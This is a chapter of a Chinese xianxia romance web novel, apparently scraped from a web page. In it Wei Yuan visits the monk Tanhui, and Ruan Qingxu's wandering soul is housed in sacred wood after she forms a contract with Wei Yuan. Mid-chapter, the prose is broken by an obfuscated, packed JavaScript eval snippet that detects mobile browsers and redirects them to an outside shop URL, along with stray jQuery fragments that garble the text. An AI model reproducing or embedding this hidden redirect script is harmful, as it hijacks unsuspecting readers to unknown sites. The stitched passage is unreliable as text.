这下不用卫源说话,青树非常上道地掐诀撕开一小片空间。
空间不大,依旧只能一人通过。
卫源抬脚,一个眼神也没给青树,就进了缝隙。
青树涨红得脸隐隐有些发紫,若是卫源不管他,他自己根本没有余力能跳过缝隙回去。
眼见卫源的身影即将消失,也不曾理会自己,青树眼神隐约有些绝望。
“嗡嗡”
灵力本就不多的青树快要枯竭了,撕裂的缝隙发出微弱的嗡鸣。
确定看不见卫源的身影了,青树绝望地泄了气。
就在失去灵力支撑的缝隙快要关闭的一瞬间,青树腰上忽然浮现一条金色的锁链,锁链连着缝隙里。
“啊!”
强大的拉扯力让毫无准备的青树惊叫出声。
“呼”
不属于秘境里的人终于离开,喧闹的秘境又恢复了宁静。
以为自己要死在秘境里头的青树被拽出来,人还没站稳眼前一黑,便晕了过去。
并不是弑杀的卫源悄无声息地把人拎到青鸾一族栖息地,将软绵绵的人挂在树上,丢了个发诀,便趁着青鸾族人赶来前离开。
阮清许的状态看起来比较糟糕,卫源本想去神木门看看有没有什么东西能帮上忙。
人都走到半路了,想起另一个人的卫源掉头换了个方向。
上次卫源走后,昙晖算了为他一卦,卦象最后呈现事情可成,便不在多关注。
“师叔,有客人来访。”
禅房外,一沙弥躬首来报。
正在替伊柳疗伤的昙晖抬手收工,轻吐一口浊气:“带过来吧。”
伤势太重,昏沉中伊柳没有察觉此间动静,依旧稳稳地打坐运转灵力疗伤。
一方屏风将屋里分隔。
卫源进来时便看见正饮清茶的昙晖。
“卫施主,又见面了。”
昙晖眉眼平和,双眸沉静。
卫源坐下,拿起眼前已经斟好,热气腾腾的茶水,浅酌。
昙晖看着神色比之前更为沉稳的人,道:“找到阮施主了。”
卫源避而不答,反问:“伊柳师父可醒了?”
昙晖非常诚实:“伤势过重,还要些时日。”
卫源眸色沉沉盯着对坐的和尚,昙晖大大方方任由他打量。
两人对坐无声,连屋外的风吹树叶发出的沙沙声也显得嘈杂了。
过了一会儿,由卫源打破寂静。
“听说贵寺有一个沉木,可安魂养息,我想同大师买一些。”
昙晖垂眸拒绝开口了就要人家藏宝人,“沉木是寺中宝物,我做不了主,施主可去找住持商量。”
卫源眼中闪过一丝暗芒,将杯中茶水一饮而尽,起身:“叨扰大师了。”
“但我有一物,比沉木更适合安魂。”
背后响起昙晖不紧不慢的声音,没走两步的卫源回头。
刚饮空了的茶杯正被昙晖缓缓注入茶汤。
卫源又坐下了。
“条件?”
昙晖仔细察看着卫源毫无波澜的脸,轻叹:“我想和她见一面。”
这个她是谁,两人心知肚明。
刚才还能伸能屈的卫源此时顽固极了:“她沉睡了。”
这套说辞,骗不了昙晖。
昙晖一直平和的语气难得带上了些许劝诫的意味:“卫施主想必比我更明白强求不来的道理。”
卫源眼皮也不掀,说出的话直刺昙晖心窝:“昙晖大师也比我更明白悔之晚矣的滋味。”
昙晖眼皮子一跳,平和的眼神迸发出锐的光芒。
卫源不慌不忙对上去,丝毫没有惧怕。
到底是多修了几年心,刚才锋利的模样不出一息便被昙晖收了个干干净净。
“她师父醒来我总要有个交代。”
卫源仍欲开口拒绝,可存放在胸口越发灼烫的魂玉让他不得不应了下来。
不过,在此之前,卫源利用屋里的东西布置了一个小型阵法,没什么危害,只是禁锢屋里的人不得出去,外面也听不见声音。
昙晖看着卫源的动作,若有所思。
“嗡嗡”
带着体温的魂玉被放在桌上,一缕气急败坏的魂体从里头钻了出来。
“卫源!”
恼怒的声音响起。
卫源眼睛盯着比在秘境里更透明的魂体,挪不开眼。
自认为已经做好心理准的昙晖见到魂体状态的阮清许时,还是忍不住吃惊。
看似生气毫无的活魂魄里却蕴藏着一丝生机,这让阮清许停在阴阳之间,往生不得,向死不可。
“小友怎变成如此模样?”
昙晖淡然分眉眼此时也忍不住皱了起来。
听见昙晖的声音阮清许才察觉屋里还有其他人。
转身看见曾经给自己批命的昙晖,抬手挥了挥:“许久不见,昙晖大师。”
上次阮清许来时,还是春熙,如今四时轮回,又入深秋了。
昙晖看着算不上健康的魂体,立即将本就打算给卫源的苍木拿出来。
阮清许看着桌上那一小节木头,又看了看端坐着的昙晖,有些不好意思。
对于这个还算是自己看着长大的晚辈,昙晖当然知晓阮清许时薄时厚的脸皮,宽慰道:“这木头在我手中也无处可用,你安心拿着便是。”
如此生气蓬勃的法器,又是昙晖大师的师父留给他的,又怎么会无处可用?
哪怕打磨成珠子,串成佛珠手串,也是极好的选择。
阮清许知道这不过是安慰自己的话罢了,她能得到这木头,怕是昙晖看在她师父伊柳的面上。
说到伊柳,自己入了秘境后便再无音讯,她师父怕是要着急了。
阮清许又急忙拜托大师帮忙传话。
话音才落,屋里的两人眼神顿时古怪起来。
不知自己刚才的话有何不对的阮清许茫然极了。
提起伊柳,昙晖眼神复杂:“你命牌碎后,你师父便想活要见人死要见尸,早早就去寻你了,只是途中遇到了意外,受了伤,此时正在屏风后疗伤。”
师父就在屋里?
本就茫然的阮清许更加茫然了,那为何她一丝一毫都未能察觉?
阮清许飘向屏风后,果不其然见到了正在打坐的伊柳。
只见伊柳双眼紧闭,周身环绕着淡淡的雾气,好似完全沉浸在修炼中,听不见外界的叨扰。
阮清许飘在两步远的地方,静静地注视着她的师父,好似要将伊柳的面样深深刻在脑海里。
“师父她还会醒过来吗?”
重新飘出来的阮清许有些担忧望着昙晖。
昙晖点点头,笃定:“会醒来的。”
除了相信昙晖,变成魂体帮不上忙的阮清许别无他法。
昙晖扫了一眼从阮清许现身后便不曾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750957|209422||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出声的卫源,道:“按理说,以小友的境界,哪怕是神魂状态感知也不可能削弱到如此地步,小友可还记得自己身上发生了什么?”
察觉出自己好像又多了一个问题的阮清许,觑了一眼不出声的卫源,摇了摇头:“我不记得了,醒来便是这幅模样了。”
当事人都不知道自己身上发生了什么,其他外人更是无从知晓。
病症找不到病灶,便无法根治,昙晖哪怕再有手段,也不能对症下药。
“古有苍木,万岁成果,食之不死,其干为躯,炼使傀儡,可固魂安身,不知小友可有想法?”
阮清许没有想法吗?
但成为傀儡无疑又把另外一个致命弱点交给别人。
人心难测,谁敢保证此刻无觊觎之心,难保日后也始终如一。
久久未言的卫源忍不住开口,他怕阮清许嫌弃以木头为身躯:“清…阿清,这不过是权宜之计,我不会让你一直待在木头里……”
阮清许定定地看着着急劝导她的人,笑了。
“大师,可否为我们寻一间空屋子,我们二人有事相商。”
昙晖从未见过阮清许和卫源的相处方式,但此时打眼儿一看,便清楚知道,在二人中,一切由阮清许主导。
“不必,恰巧主持找我论经,你们在此就是了。”
目送昙晖离去,屋里一静,方才好似有千言万语的一人一魂站在屋的两头。
半晌,阮清许轻轻地飘到禅案后的椅子上,挑眉道:“我觉得……”
生怕一会儿阮清许嘴里说出什么戳心窝的话,卫源难忍心中酸楚打断:“我们可以定契约!”
“?”
听闻苍木也是日夜汲取灵力而成,所以阮清许本打算附魂后,要点卫源的灵力来尝尝,看看是什么味道。
谁料,不知卫源脑补了什么,开口便是要定契约。
阮清许无语地张了张嘴,道:“也行吧。”
生怕下一秒阮清许反悔,卫源立即把刻在心头多年的契咒以指尖血,飞快在空中画出。
而后根本不待阮清许反悔,一股温柔的灵力便飞入魂间,流淌四肢。
“这是什么东西?”
哪怕是魂体状态,眉间依旧滚烫异常,让阮清许忍不住抬手,好奇地揉了好几下。
尽管知道阮清许目前是魂体状态,但见她如此起劲儿揉搓额间金色纹路,心里有鬼的卫源随着阮清许的动作,心颤了又颤。
“清清”卫源见不得阮清许这样糟蹋自己的额头,便用另外一件事引走她的注意。道:“我们是不是该去找傀儡师了?”
果然,说到这个,阮清许也顾不上额头不知名的发烫,飘起来道:“等一下!”
说罢,阮清许飞到后面的屏风里,定定地注视了好一会儿闭眼修炼的伊柳,悄声道:“师父,我出门啦!”
才一会儿见不到人的卫源坐立不安,想把屏风撤掉,想叫阮清许出来,想催动刚下的契咒……
抓心挠肝的种种想法,均在一抹流光闪过时,歇了下去。
“拿好我!”
同师父告完别的阮清许一溜烟扎进桌上碧绿的木块里,只留下一句话在空气中回荡。
桌上安静的木头突然被入侵,挣扎了一番后,又温柔地接受了因为入侵者。
卫源目光深沉的看了好一会儿悬在空中,承载了爱侣的木块,才抬手取下,密不透风地握在掌心,珍重地护在心口。